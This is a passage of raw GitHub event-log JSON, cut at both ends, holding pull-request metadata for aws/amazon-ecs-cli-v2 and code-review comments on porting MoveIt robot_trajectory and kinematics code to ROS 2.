operations.","fork":true,"url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2","forks_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/forks","keys_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/teams","hooks_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/hooks","issue_events_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/issues/events{/number}","events_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/events","assignees_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/assignees{/user}","branches_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/branches{/branch}","tags_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/tags","blobs_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/git/refs{/sha}","trees_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/statuses/{sha}","languages_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/languages","stargazers_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/stargazers","contributors_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/contributors","subscribers_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/subscribers","subscription_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/subscription","commits_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/commits{/sha}","git_commits_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/git/commits{/sha}","comments_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/comments{/number}","issue_comment_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/issues/comments{/number}","contents_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/contents/{+path}","compare_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/merges","archive_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/downloads","issues_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/issues{/number}","pulls_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/pulls{/number}","milestones_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/milestones{/number}","notifications_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/labels{/name}","releases_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/releases{/id}","deployments_url":"https://api.github.com/repos/hencrice/amazon-ecs-cli-v2/deployments","created_at":"2019-10-09T00:53:49Z","updated_at":"2019-10-22T00:06:02Z","pushed_at":"2019-10-23T00:55:42Z","git_url":"git://github.com/hencrice/amazon-ecs-cli-v2.git","ssh_url":"git@github.com:hencrice/amazon-ecs-cli-v2.git","clone_url":"https://github.com/hencrice/amazon-ecs-cli-v2.git","svn_url":"https://github.com/hencrice/amazon-ecs-cli-v2","homepage":null,"size":361,"stargazers_count":0,"watchers_count":0,"language":"Go","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"aws:master","ref":"master","sha":"63b9bbd0f4f83b8c7bfccfae83a5b07635ec85d8","user":{"login":"aws","id":2232217,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIyMzIyMTc=","avatar_url":"https://avatars3.githubusercontent.com/u/2232217?v=4","gravatar_id":"","url":"https://api.github.com/users/aws","html_url":"https://github.com/aws","followers_url":"https://api.github.com/users/aws/followers","following_url":"https://api.github.com/users/aws/following{/other_user}","gists_url":"https://api.github.com/users/aws/gists{/gist_id}","starred_url":"https://api.github.com/users/aws/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/aws/subscriptions","organizations_url":"https://api.github.com/users/aws/orgs","repos_url":"https://api.github.com/users/aws/repos","events_url":"https://api.github.com/users/aws/events{/privacy}","received_events_url":"https://api.github.com/users/aws/received_events","type":"Organization","site_admin":false},"repo":{"id":202018792,"node_id":"MDEwOlJlcG9zaXRvcnkyMDIwMTg3OTI=","name":"amazon-ecs-cli-v2","full_name":"aws/amazon-ecs-cli-v2","private":false,"owner":{"login":"aws","id":2232217,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIyMzIyMTc=","avatar_url":"https://avatars3.githubusercontent.com/u/2232217?v=4","gravatar_id":"","url":"https://api.github.com/users/aws","html_url":"https://github.com/aws","followers_url":"https://api.github.com/users/aws/followers","following_url":"https://api.github.com/users/aws/following{/other_user}","gists_url":"https://api.github.com/users/aws/gists{/gist_id}","starred_url":"https://api.github.com/users/aws/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/aws/subscriptions","organizations_url":"https://api.github.com/users/aws/orgs","repos_url":"https://api.github.com/users/aws/repos","events_url":"https://api.github.com/users/aws/events{/privacy}","received_events_url":"https://api.github.com/users/aws/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/aws/amazon-ecs-cli-v2","description":"The Amazon ECS CLI enables users to create and manager their ECS projects, from source code, infrastructure to operations.","fork":false,"url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2","forks_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/forks","keys_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/teams","hooks_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/hooks","issue_events_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/issues/events{/number}","events_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/events","assignees_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/assignees{/user}","branches_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/branches{/branch}","tags_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/tags","blobs_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/git/refs{/sha}","trees_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/statuses/{sha}","languages_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/languages","stargazers_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/stargazers","contributors_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/contributors","subscribers_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/subscribers","subscription_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/subscription","commits_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/commits{/sha}","git_commits_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/git/commits{/sha}","comments_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/comments{/number}","issue_comment_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/issues/comments{/number}","contents_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/contents/{+path}","compare_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/merges","archive_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/downloads","issues_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/issues{/number}","pulls_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/pulls{/number}","milestones_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/milestones{/number}","notifications_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/labels{/name}","releases_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/releases{/id}","deployments_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/deployments","created_at":"2019-08-12T22:31:54Z","updated_at":"2019-10-22T23:01:44Z","pushed_at":"2019-10-23T00:55:43Z","git_url":"git://github.com/aws/amazon-ecs-cli-v2.git","ssh_url":"git@github.com:aws/amazon-ecs-cli-v2.git","clone_url":"https://github.com/aws/amazon-ecs-cli-v2.git","svn_url":"https://github.com/aws/amazon-ecs-cli-v2","homepage":null,"size":357,"stargazers_count":22,"watchers_count":22,"language":"Go","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":6,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":68,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":6,"open_issues":68,"watchers":22,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/pulls/226"},"html":{"href":"https://github.com/aws/amazon-ecs-cli-v2/pull/226"},"issue":{"href":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/issues/226"},"comments":{"href":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/issues/226/comments"},"review_comments":{"href":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/pulls/226/comments"},"review_comment":{"href":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/pulls/226/commits"},"statuses":{"href":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/statuses/1265a0f3a9017a0dbfccacf1145c85f4fbb14fdb"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 202018792,
"name": "aws/amazon-ecs-cli-v2",
"url": "https://api.github.com/repos/aws/amazon-ecs-cli-v2"
}
|
{
"id": 828419,
"login": "kohidave",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/828419?",
"url": "https://api.github.com/users/kohidave"
}
|
{
"id": 2232217,
"login": "aws",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2232217?",
"url": "https://api.github.com/orgs/aws"
}
| 2019-10-23T01:24:24 |
10691167904
|
{"actor":{"display_login":"kohidave"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/ros-planning/moveit2/pulls/comments/266218344","pull_request_review_id":215333278,"id":266218344,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI2NjIxODM0NA==","diff_hunk":"@@ -101,11 +102,6 @@ void RobotTrajectory::append(const RobotTrajectory& source, double dt, size_t st\n void RobotTrajectory::reverse()\n {\n std::reverse(waypoints_.begin(), waypoints_.end());\n- for (robot_state::RobotStatePtr& waypoint : waypoints_)","path":"moveit_core/robot_trajectory/src/robot_trajectory.cpp","position":12,"original_position":12,"commit_id":"80ee2954b8a49e32605a86df1091c03af2f76a01","original_commit_id":"80ee2954b8a49e32605a86df1091c03af2f76a01","user":{"login":"vmayoral","id":1375246,"node_id":"MDQ6VXNlcjEzNzUyNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1375246?v=4","gravatar_id":"","url":"https://api.github.com/users/vmayoral","html_url":"https://github.com/vmayoral","followers_url":"https://api.github.com/users/vmayoral/followers","following_url":"https://api.github.com/users/vmayoral/following{/other_user}","gists_url":"https://api.github.com/users/vmayoral/gists{/gist_id}","starred_url":"https://api.github.com/users/vmayoral/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vmayoral/subscriptions","organizations_url":"https://api.github.com/users/vmayoral/orgs","repos_url":"https://api.github.com/users/vmayoral/repos","events_url":"https://api.github.com/users/vmayoral/events{/privacy}","received_events_url":"https://api.github.com/users/vmayoral/received_events","type":"User","site_admin":false},"body":"@anasarrak I don't quite recall having removed this on purpose. Does something come to mind for you? @mlautman maybe this is the result of syncing with moveit1? ","created_at":"2019-03-16T23:22:55Z","updated_at":"2019-03-16T23:22:55Z","html_url":"https://github.com/ros-planning/moveit2/pull/39#discussion_r266218344","pull_request_url":"https://api.github.com/repos/ros-planning/moveit2/pulls/39","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/ros-planning/moveit2/pulls/comments/266218344"},"html":{"href":"https://github.com/ros-planning/moveit2/pull/39#discussion_r266218344"},"pull_request":{"href":"https://api.github.com/repos/ros-planning/moveit2/pulls/39"}},"in_reply_to_id":264482904},"pull_request":{"url":"https://api.github.com/repos/ros-planning/moveit2/pulls/39","id":259773838,"node_id":"MDExOlB1bGxSZXF1ZXN0MjU5NzczODM4","html_url":"https://github.com/ros-planning/moveit2/pull/39","diff_url":"https://github.com/ros-planning/moveit2/pull/39.diff","patch_url":"https://github.com/ros-planning/moveit2/pull/39.patch","issue_url":"https://api.github.com/repos/ros-planning/moveit2/issues/39","number":39,"state":"open","locked":false,"title":"Port robot_trajectory to ROS2","user":{"login":"vmayoral","id":1375246,"node_id":"MDQ6VXNlcjEzNzUyNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1375246?v=4","gravatar_id":"","url":"https://api.github.com/users/vmayoral","html_url":"https://github.com/vmayoral","followers_url":"https://api.github.com/users/vmayoral/followers","following_url":"https://api.github.com/users/vmayoral/following{/other_user}","gists_url":"https://api.github.com/users/vmayoral/gists{/gist_id}","starred_url":"https://api.github.com/users/vmayoral/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vmayoral/subscriptions","organizations_url":"https://api.github.com/users/vmayoral/orgs","repos_url":"https://api.github.com/users/vmayoral/repos","events_url":"https://api.github.com/users/vmayoral/events{/privacy}","received_events_url":"https://api.github.com/users/vmayoral/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-03-10T17:04:30Z","updated_at":"2019-03-16T23:22:55Z","closed_at":null,"merged_at":null,"merge_commit_sha":"e447f13de656ae56dca579c950908e73ddcf258f","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/ros-planning/moveit2/pulls/39/commits","review_comments_url":"https://api.github.com/repos/ros-planning/moveit2/pulls/39/comments","review_comment_url":"https://api.github.com/repos/ros-planning/moveit2/pulls/comments{/number}","comments_url":"https://api.github.com/repos/ros-planning/moveit2/issues/39/comments","statuses_url":"https://api.github.com/repos/ros-planning/moveit2/statuses/80ee2954b8a49e32605a86df1091c03af2f76a01","head":{"label":"AcutronicRobotics:robot-trajectory","ref":"robot-trajectory","sha":"80ee2954b8a49e32605a86df1091c03af2f76a01","user":{"login":"AcutronicRobotics","id":23283242,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzMjgzMjQy","avatar_url":"https://avatars3.githubusercontent.com/u/23283242?v=4","gravatar_id":"","url":"https://api.github.com/users/AcutronicRobotics","html_url":"https://github.com/AcutronicRobotics","followers_url":"https://api.github.com/users/AcutronicRobotics/followers","following_url":"https://api.github.com/users/AcutronicRobotics/following{/other_user}","gists_url":"https://api.github.com/users/AcutronicRobotics/gists{/gist_id}","starred_url":"https://api.github.com/users/AcutronicRobotics/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AcutronicRobotics/subscriptions","organizations_url":"https://api.github.com/users/AcutronicRobotics/orgs","repos_url":"https://api.github.com/users/AcutronicRobotics/repos","events_url":"https://api.github.com/users/AcutronicRobotics/events{/privacy}","received_events_url":"https://api.github.com/users/AcutronicRobotics/received_events","type":"Organization","site_admin":false},"repo":{"id":171419802,"node_id":"MDEwOlJlcG9zaXRvcnkxNzE0MTk4MDI=","name":"moveit2","full_name":"AcutronicRobotics/moveit2","private":false,"owner":{"login":"AcutronicRobotics","id":23283242,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzMjgzMjQy","avatar_url":"https://avatars3.githubusercontent.com/u/23283242?v=4","gravatar_id":"","url":"https://api.github.com/users/AcutronicRobotics","html_url":"https://github.com/AcutronicRobotics","followers_url":"https://api.github.com/users/AcutronicRobotics/followers","following_url":"https://api.github.com/users/AcutronicRobotics/following{/other_user}","gists_url":"https://api.github.com/users/AcutronicRobotics/gists{/gist_id}","starred_url":"https://api.github.com/users/AcutronicRobotics/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AcutronicRobotics/subscriptions","organizations_url":"https://api.github.com/users/AcutronicRobotics/orgs","repos_url":"https://api.github.com/users/AcutronicRobotics/repos","events_url":"https://api.github.com/users/AcutronicRobotics/events{/privacy}","received_events_url":"https://api.github.com/users/AcutronicRobotics/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/AcutronicRobotics/moveit2","description":"The MoveIt! 2.0 Motion Planning Framework for ROS 2.0 ","fork":true,"url":"https://api.github.com/repos/AcutronicRobotics/moveit2","forks_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/forks","keys_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/teams","hooks_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/hooks","issue_events_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/issues/events{/number}","events_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/events","assignees_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/assignees{/user}","branches_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/branches{/branch}","tags_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/tags","blobs_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/git/refs{/sha}","trees_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/statuses/{sha}","languages_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/languages","stargazers_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/stargazers","contributors_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/contributors","subscribers_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/subscribers","subscription_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/subscription","commits_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/commits{/sha}","git_commits_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/git/commits{/sha}","comments_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/comments{/number}","issue_comment_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/issues/comments{/number}","contents_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/contents/{+path}","compare_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/merges","archive_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/downloads","issues_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/issues{/number}","pulls_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/pulls{/number}","milestones_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/milestones{/number}","notifications_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/labels{/name}","releases_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/releases{/id}","deployments_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/deployments","created_at":"2019-02-19T06:40:12Z","updated_at":"2019-03-16T19:29:52Z","pushed_at":"2019-03-16T23:02:58Z","git_url":"git://github.com/AcutronicRobotics/moveit2.git","ssh_url":"git@github.com:AcutronicRobotics/moveit2.git","clone_url":"https://github.com/AcutronicRobotics/moveit2.git","svn_url":"https://github.com/AcutronicRobotics/moveit2","homepage":"","size":55623,"stargazers_count":25,"watchers_count":25,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":5,"mirror_url":null,"archived":false,"open_issues_count":3,"license":{"key":"bsd-3-clause","name":"BSD 3-Clause \"New\" or \"Revised\" License","spdx_id":"BSD-3-Clause","url":"https://api.github.com/licenses/bsd-3-clause","node_id":"MDc6TGljZW5zZTU="},"forks":5,"open_issues":3,"watchers":25,"default_branch":"master"}},"base":{"label":"ros-planning:master","ref":"master","sha":"8dddba4b671f29442a4222f534b5df29f4736ed5","user":{"login":"ros-planning","id":2328631,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzMjg2MzE=","avatar_url":"https://avatars2.githubusercontent.com/u/2328631?v=4","gravatar_id":"","url":"https://api.github.com/users/ros-planning","html_url":"https://github.com/ros-planning","followers_url":"https://api.github.com/users/ros-planning/followers","following_url":"https://api.github.com/users/ros-planning/following{/other_user}","gists_url":"https://api.github.com/users/ros-planning/gists{/gist_id}","starred_url":"https://api.github.com/users/ros-planning/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ros-planning/subscriptions","organizations_url":"https://api.github.com/users/ros-planning/orgs","repos_url":"https://api.github.com/users/ros-planning/repos","events_url":"https://api.github.com/users/ros-planning/events{/privacy}","received_events_url":"https://api.github.com/users/ros-planning/received_events","type":"Organization","site_admin":false},"repo":{"id":170893393,"node_id":"MDEwOlJlcG9zaXRvcnkxNzA4OTMzOTM=","name":"moveit2","full_name":"ros-planning/moveit2","private":false,"owner":{"login":"ros-planning","id":2328631,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzMjg2MzE=","avatar_url":"https://avatars2.githubusercontent.com/u/2328631?v=4","gravatar_id":"","url":"https://api.github.com/users/ros-planning","html_url":"https://github.com/ros-planning","followers_url":"https://api.github.com/users/ros-planning/followers","following_url":"https://api.github.com/users/ros-planning/following{/other_user}","gists_url":"https://api.github.com/users/ros-planning/gists{/gist_id}","starred_url":"https://api.github.com/users/ros-planning/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ros-planning/subscriptions","organizations_url":"https://api.github.com/users/ros-planning/orgs","repos_url":"https://api.github.com/users/ros-planning/repos","events_url":"https://api.github.com/users/ros-planning/events{/privacy}","received_events_url":"https://api.github.com/users/ros-planning/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ros-planning/moveit2","description":":robot: MoveIt! for ROS 2.0, Alpha","fork":false,"url":"https://api.github.com/repos/ros-planning/moveit2","forks_url":"https://api.github.com/repos/ros-planning/moveit2/forks","keys_url":"https://api.github.com/repos/ros-planning/moveit2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ros-planning/moveit2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ros-planning/moveit2/teams","hooks_url":"https://api.github.com/repos/ros-planning/moveit2/hooks","issue_events_url":"https://api.github.com/repos/ros-planning/moveit2/issues/events{/number}","events_url":"https://api.github.com/repos/ros-planning/moveit2/events","assignees_url":"https://api.github.com/repos/ros-planning/moveit2/assignees{/user}","branches_url":"https://api.github.com/repos/ros-planning/moveit2/branches{/branch}","tags_url":"https://api.github.com/repos/ros-planning/moveit2/tags","blobs_url":"https://api.github.com/repos/ros-planning/moveit2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ros-planning/moveit2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ros-planning/moveit2/git/refs{/sha}","trees_url":"https://api.github.com/repos/ros-planning/moveit2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ros-planning/moveit2/statuses/{sha}","languages_url":"https://api.github.com/repos/ros-planning/moveit2/languages","stargazers_url":"https://api.github.com/repos/ros-planning/moveit2/stargazers","contributors_url":"https://api.github.com/repos/ros-planning/moveit2/contributors","subscribers_url":"https://api.github.com/repos/ros-planning/moveit2/subscribers","subscription_url":"https://api.github.com/repos/ros-planning/moveit2/subscription","commits_url":"https://api.github.com/repos/ros-planning/moveit2/commits{/sha}","git_commits_url":"https://api.github.com/repos/ros-planning/moveit2/git/commits{/sha}","comments_url":"https://api.github.com/repos/ros-planning/moveit2/comments{/number}","issue_comment_url":"https://api.github.com/repos/ros-planning/moveit2/issues/comments{/number}","contents_url":"https://api.github.com/repos/ros-planning/moveit2/contents/{+path}","compare_url":"https://api.github.com/repos/ros-planning/moveit2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ros-planning/moveit2/merges","archive_url":"https://api.github.com/repos/ros-planning/moveit2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ros-planning/moveit2/downloads","issues_url":"https://api.github.com/repos/ros-planning/moveit2/issues{/number}","pulls_url":"https://api.github.com/repos/ros-planning/moveit2/pulls{/number}","milestones_url":"https://api.github.com/repos/ros-planning/moveit2/milestones{/number}","notifications_url":"https://api.github.com/repos/ros-planning/moveit2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ros-planning/moveit2/labels{/name}","releases_url":"https://api.github.com/repos/ros-planning/moveit2/releases{/id}","deployments_url":"https://api.github.com/repos/ros-planning/moveit2/deployments","created_at":"2019-02-15T16:17:11Z","updated_at":"2019-03-15T01:52:19Z","pushed_at":"2019-03-16T23:02:59Z","git_url":"git://github.com/ros-planning/moveit2.git","ssh_url":"git@github.com:ros-planning/moveit2.git","clone_url":"https://github.com/ros-planning/moveit2.git","svn_url":"https://github.com/ros-planning/moveit2","homepage":"https://moveit.ros.org/","size":55136,"stargazers_count":20,"watchers_count":20,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":12,"mirror_url":null,"archived":false,"open_issues_count":22,"license":{"key":"bsd-3-clause","name":"BSD 3-Clause \"New\" or \"Revised\" License","spdx_id":"BSD-3-Clause","url":"https://api.github.com/licenses/bsd-3-clause","node_id":"MDc6TGljZW5zZTU="},"forks":12,"open_issues":22,"watchers":20,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/ros-planning/moveit2/pulls/39"},"html":{"href":"https://github.com/ros-planning/moveit2/pull/39"},"issue":{"href":"https://api.github.com/repos/ros-planning/moveit2/issues/39"},"comments":{"href":"https://api.github.com/repos/ros-planning/moveit2/issues/39/comments"},"review_comments":{"href":"https://api.github.com/repos/ros-planning/moveit2/pulls/39/comments"},"review_comment":{"href":"https://api.github.com/repos/ros-planning/moveit2/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/ros-planning/moveit2/pulls/39/commits"},"statuses":{"href":"https://api.github.com/repos/ros-planning/moveit2/statuses/80ee2954b8a49e32605a86df1091c03af2f76a01"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 170893393,
"name": "ros-planning/moveit2",
"url": "https://api.github.com/repos/ros-planning/moveit2"
}
|
{
"id": 1375246,
"login": "vmayoral",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1375246?",
"url": "https://api.github.com/users/vmayoral"
}
|
{
"id": 2328631,
"login": "ros-planning",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2328631?",
"url": "https://api.github.com/orgs/ros-planning"
}
| 2019-03-16T23:22:55 |
9256886059
|
{"actor":{"display_login":"vmayoral"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/ros-planning/moveit2/pulls/comments/258227792","pull_request_review_id":205449377,"id":258227792,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI1ODIyNzc5Mg==","diff_hunk":"@@ -612,33 +614,74 @@ class KinematicsBase\n template <typename T>\n inline bool lookupParam(const std::string& param, T& val, const T& default_val) const\n {\n- ros::NodeHandle pnh(\"~\");\n- if (pnh.hasParam(group_name_ + \"/\" + param))\n- {\n- val = pnh.param(group_name_ + \"/\" + param, default_val);\n- return true;\n+ // ros::NodeHandle pnh(\"~\");","path":"moveit_core/kinematics_base/include/moveit/kinematics_base/kinematics_base.h","position":139,"original_position":139,"commit_id":"54e0542b56fe22b8193edbdcbbc8dd0787e2eafd","original_commit_id":"54e0542b56fe22b8193edbdcbbc8dd0787e2eafd","user":{"login":"davetcoleman","id":561060,"node_id":"MDQ6VXNlcjU2MTA2MA==","avatar_url":"https://avatars2.githubusercontent.com/u/561060?v=4","gravatar_id":"","url":"https://api.github.com/users/davetcoleman","html_url":"https://github.com/davetcoleman","followers_url":"https://api.github.com/users/davetcoleman/followers","following_url":"https://api.github.com/users/davetcoleman/following{/other_user}","gists_url":"https://api.github.com/users/davetcoleman/gists{/gist_id}","starred_url":"https://api.github.com/users/davetcoleman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/davetcoleman/subscriptions","organizations_url":"https://api.github.com/users/davetcoleman/orgs","repos_url":"https://api.github.com/